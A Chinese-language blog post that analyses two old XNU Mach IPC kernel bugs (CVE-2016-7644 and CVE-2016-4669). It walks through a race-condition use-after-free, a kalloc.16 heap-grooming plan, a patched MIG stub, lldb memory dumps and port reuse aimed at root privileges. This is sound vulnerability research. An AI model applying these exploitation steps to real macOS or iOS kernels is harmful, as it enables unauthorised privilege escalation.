从CVE-2016-7644回到CVE-2016-4669

古人学问无遗力,少壮功夫老始成。纸上得来终觉浅,绝知此事要躬行。

—陆游《冬夜读书示子聿》

0x00 摘要

本文是第三篇基于漏洞分析来学习Mach IPC的方面知识的记录。

阅读顺序如下。

1.再看CVE-2016-1757—浅析mach message的使用

2.CVE-2016-7637—再谈Mach IPC

3.从CVE-2016-7644回到CVE-2016-4669(本文)

CVE-2016-7644这个漏洞,本身是一个很简单的漏洞,但是通过一些技巧,可以做一些更有意思的事情。

pocwriteup这里

CVE-2016-4669的POC,之前我已经分析过了,详见CVE-2016-4669分析与调试。在做完这一系列的IPC相关的漏洞研究与学习之后,尝试的对CVE-2016-4669这个漏洞实现一个提权的利用。

并不能稳定触发,不过也加深了对内核的内存布局与IPC模块的理解。代码在这里

0x01 CVE-2016-7644 POC分析

漏洞的成因并不复杂,当两个线程同时调用时,ipc_port_release_send函数可能会被调用两次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kern_return_t
set_dp_control_port(
host_priv_t host_priv,
ipc_port_t control_port)
{
if (host_priv == HOST_PRIV_NULL)
return (KERN_INVALID_HOST);

if (IP_VALID(dynamic_pager_control_port))
ipc_port_release_send(dynamic_pager_control_port); <--竞争发生的地方

dynamic_pager_control_port = control_port;
return KERN_SUCCESS;
}

ipc_port_release_send函数内会修改port的一些属性,因为两个线程同时调用,触发了并发的漏洞,导致了bug的发生。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void
ipc_port_release_send(
ipc_port_t port)

{

ipc_port_t nsrequest = IP_NULL;
mach_port_mscount_t mscount;

if (!IP_VALID(port))
return;

ip_lock(port);

assert(port->ip_srights > 0); <--线程[2] ip_srights == 0,触发assert,导致内核崩溃
port->ip_srights--;

[...]

ip_unlock(port); <--线程[1] ip_srights已经变为0,且port锁已经释放

[...]
}

POC代码编译成功之后,利用shell循环执行就可以触发内核崩溃,因为是并发的漏洞,所以需要尝试的次数比较多,手动执行可能很难触发。

0x02 mach_portal_redist 相关利用代码分析

通过阅读mach_portal_redist项目的kernel_sploit.c文件,漏洞的利用总共分为以下几个部分。

  • 获取内核中指向port的野指针
  • 堆内存的布局
  • 通过UAF获取kernel port

想要完全理解这几个部分,就需要了解更多的IPC相关的知识。

2.1 利用流程

通过漏洞获取一个指向port的野指针,流程大致如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//申请port
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
//在ipc系统中隐藏一个port的reference
stash_port (p) ;
//dynamic_pager_control_port获取一个port的reference
set_dp_control_port(host_priv, p) ;
// [1] 准备阶段结束
//释放task对port的send right
mach_port_deallocate (p);
//触发漏洞
race();
//释放stash_port
free_stashed_ports();
// [2] 获取port的野指针

2.2 stash_port

当代码执行到[1]处时,做好了所有触发漏洞前的准备。我们的port拥有3对rightreference

通过mach_port_allocate函数的执行,task拥有port的一份rightreference

通过set_dp_control_port函数的执行,dynamic_pager_control_port拥有port的一份rightreference

这两个部分比较容易理解,stash_port的原理较为复杂,利用了IPC系统通过mach message传递消息时的特性。

在通过message传递一个port right时的流程大致如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
ipc_kmsg_copyin_body
|
|----> ipc_kmsg_copyin_ool_ports_descriptor
|
|-----> ipc_object_copyin
|
|----> ipc_right_copyin
*/

kern_return_t
ipc_right_copyin(
{
[...]
case MACH_MSG_TYPE_MAKE_SEND: {

if ((bits & MACH_PORT_TYPE_RECEIVE) == 0)
goto invalid_right;

port = (ipc_port_t) entry->ie_object;
assert(port != IP_NULL);

ip_lock(port);
assert(ip_active(port));
assert(port->ip_receiver_name == name);
assert(port->ip_receiver == space);

port->ip_mscount++;
port->ip_srights++; //通过发送数据,但是不从port中读取出来,使得right和reference都加1
ip_reference(port);
ip_unlock(port);

*objectp = (ipc_object_t) port;
*sorightp = IP_NULL;
break;
}
[...]
}

当代码通过IPC系统发送一个port right时,portrightreference都会加1,而在读取消息时,会把rightreference减1,所以在未调用free_stashed_ports读取出message之前,就在IPC系统中存放了一份port的引用。

2.3 mach_port_deallocate

调用mach_port_deallocate函数可以释放目标port的一个RIGHT。我们的portreference为3,sright是2。

2.4 race

race就是利用了set_dp_control_port函数的漏洞,在并发执行的时,会导致对dynamic_pager_control_port连续两次调用ipc_port_release_send函数。

ipc_port_release_send每执行一次,会对目标portsright和reference做出一次减一的操作。这个时候我们的port的reference变成了1,而sright变成了0,因为没有sendright 存在了,所以会产生一个notify,通过这个特性,我们就可以知道我们成功的出发了条件竞争的漏洞了。

2.5 free_stashed_ports

stashed_ports_q的消息队列中还保存着我们传递的port,只需要对stashed_ports_q调用mach_port_destroy,因为传递的portreference已经是1了,在处理这个逻辑之后,port在内核中就已经被释放了,而我们的task中还保存了一个danglingport

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
mach_port_destroy
|
|--->ipc_right_destroy
|
|--->ipc_port_destroy
|
|--->ipc_mqueue_destroy
|
|--->ipc_kmsg_reap_delayed
|
|--->ipc_kmsg_clean_body
*/

调用栈大致如上所示,最核心的逻辑在ipc_kmsg_clean_body函数里实现。

0x03 回到CVE-2016-4669

对CVE-2016-4669的POC和漏洞成因的分析在这里

没有了解过这个漏洞的同学可以先了解一下。

经过对IPC模块一系列的漏洞的分析与学习,我尝试着对之前分析过的CVE-2016-4669这个漏洞写一写利用。

思路大致如下:

  • kalloc.16 的内存布局。
  • 触发漏洞,在内存中访问越界,对其他port调用ipc_port_release_send。创造dangling port
  • 重用port,获得root权限。

3.1 kalloc.16内存布局

在正常的情况下,kalloc.16的某个Page中的内存布局如下图所示(更多关于内存布局的只是可以查看这里):

  • [a]标记出的就是kalloc.16这个zonefree element
  • [b]是已经被使用的element,且16个字节都使用到了。
  • [c]是已经被使用的element,但是只用前面八个字节,所有后面8个字节是0xdeadbeefdeadbeef

因为漏洞会越界访问,对下个element中的地址调用ipc_port_release_send,所以通过向一个很多的stash port,发送同一个target portright,在发送完成后再释放其中一部分得stash port,在kalloc.16zone中制造触发漏漏洞的时候使用的free element

在构造完成后大致如下:

3.2 触发漏洞

这里要把patch的参数个数从1改成2。

1
2
3
4
5
6
7
#if	UseStaticTemplates
InP->init_port_set = init_port_setTemplate;
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
#else /* UseStaticTemplates */
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;

出发漏洞后,就可以看到内存布局。

简单的调试流程如下:

先找到mach_ports_register函数第一次调用ipc_port_release_send的地方,并下一个断点。

1
dis -n mach_ports_register   
[...]
    0xffffff800b0e22aa <+506>: call   0xffffff800b1c1bd0        ; lck_mtx_unlock
    0xffffff800b0e22af <+511>: lea    rax, [r15 + 0x1]
    0xffffff800b0e22b3 <+515>: cmp    rax, 0x2
    0xffffff800b0e22b7 <+519>: jb     0xffffff800b0e22c1        ; <+529> at ipc_tt.c:1096
    0xffffff800b0e22b9 <+521>: mov    rdi, r15
    0xffffff800b0e22bc <+524>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560
    0xffffff800b0e22c1 <+529>: lea    rax, [r13 + 0x1]
    0xffffff800b0e22c5 <+533>: cmp    rax, 0x2
    0xffffff800b0e22c9 <+537>: jb     0xffffff800b0e22d3        ; <+547> at ipc_tt.c:1096
    0xffffff800b0e22cb <+539>: mov    rdi, r13
    0xffffff800b0e22ce <+542>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560
    0xffffff800b0e22d3 <+547>: lea    rax, [rbx + 0x1]
    0xffffff800b0e22d7 <+551>: cmp    rax, 0x2
    0xffffff800b0e22db <+555>: jb     0xffffff800b0e22e5        ; <+565> at ipc_tt.c:1097
    0xffffff800b0e22dd <+557>: mov    rdi, rbx
    0xffffff800b0e22e0 <+560>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560

[...]
1
(lldb) b *0xffffff800b0e22bc
Breakpoint 1: where = kernel`mach_ports_register + 524 at ipc_tt.c:1097, address = 0xffffff800b0e22bc

然后执行exp程序,一般情况下是第二次命中断点时,portsCnt=3(第一次命中时portsCnt=1并不是我们的代码触发的,可以不管)。内存布局如下:

1
(lldb) p/x memory
(mach_port_array_t) $10 = 0xffffff80115cf9f0
(lldb) memory read --format x --size 8 --count 50 memory-0x20
[...]
0xffffff80115cf9a0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9b0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9c0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9d0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9e0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9f0: 0xffffff8015f0b680 0x0000000000000000 **[p_self,NULL]**
0xffffff80115cfa00: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa10: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa20: 0x0000000000000000 0xdeadbeefdeadbeef
0xffffff80115cfa30: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa40: 0x0000000000000000 0xffffffff00000000
0xffffff80115cfa50: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa60: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa70: 0xffffff8013dee0e0 0x0000000000000000

接着,mach_ports_register的逻辑就会越界将0xffffff80115cfa00处的0xffffff8013dee0e0拷到task->itk_registered中去。

1
2
3
4
5
6
7
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
ipc_port_t old;

old = task->itk_registered[i];
task->itk_registered[i] = ports[i];
ports[i] = old;
}

通过lldb查看ports的状态。



1
2
3
4
5
6
7
8
9
10
11
p *(ipc_port_t)0xffffff8013dee0e0

(ipc_port) $12 = {
ip_object = {
io_bits = 2147483648
io_references = 4057
io_lock_data = (interlock = 0x0000000000000000)
}
[...]
ip_srights = 4056
}

在第二次调用到mach_ports_register的时候,会对他们调用ipc_port_release_send

1
2
3
4
//第二次调用mach_ports_register函数时,ports中的数据变成了刚刚存储的
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
if (IP_VALID(ports[i]))
ipc_port_release_send(ports[i]);

这个时候再观察port在内核中的状态,机会发现ip_srightsio_references都做了一次减一

这个时候在释放掉所有的stashed port就将我们的target port 释放掉了。因为通过触发bug多释放了一次。

  • 通过stashed port创造了4096个reference,释放掉所有的stashed port就对reference做了4096次减一,通过触发bug 又多做了一次release,释放了一开始mach_port_allocate创建的reference
  • srightsreference相同。

3.3 重用port

这一步在我的EXP里就是看脸了,成功率并不是很高,没有找到稳定的利用方法。就不多说什么了,从别的EXP里抄来的代码。

0x04 小结

到这里整个MACH-IPC相关的漏洞分析与学习就暂时告一段落了。

这篇分析日志,断断续续写了很久,可能思路有点不连贯,有什么问题欢迎大家一起探讨:)

文章目录
  1. 1. 0x00 摘要
  2. 2. 0x01 CVE-2016-7644 POC分析
  3. 3. 0x02 mach_portal_redist 相关利用代码分析
    1. 3.1. 2.1 利用流程
    2. 3.2. 2.2 stash_port
    3. 3.3. 2.3 mach_port_deallocate
    4. 3.4. 2.4 race
    5. 3.5. 2.5 free_stashed_ports
  4. 4. 0x03 回到CVE-2016-4669
    1. 4.1. 3.1 kalloc.16内存布局
    2. 4.2. 3.2 触发漏洞
    3. 4.3. 3.3 重用port
  5. 5. 0x04 小结
,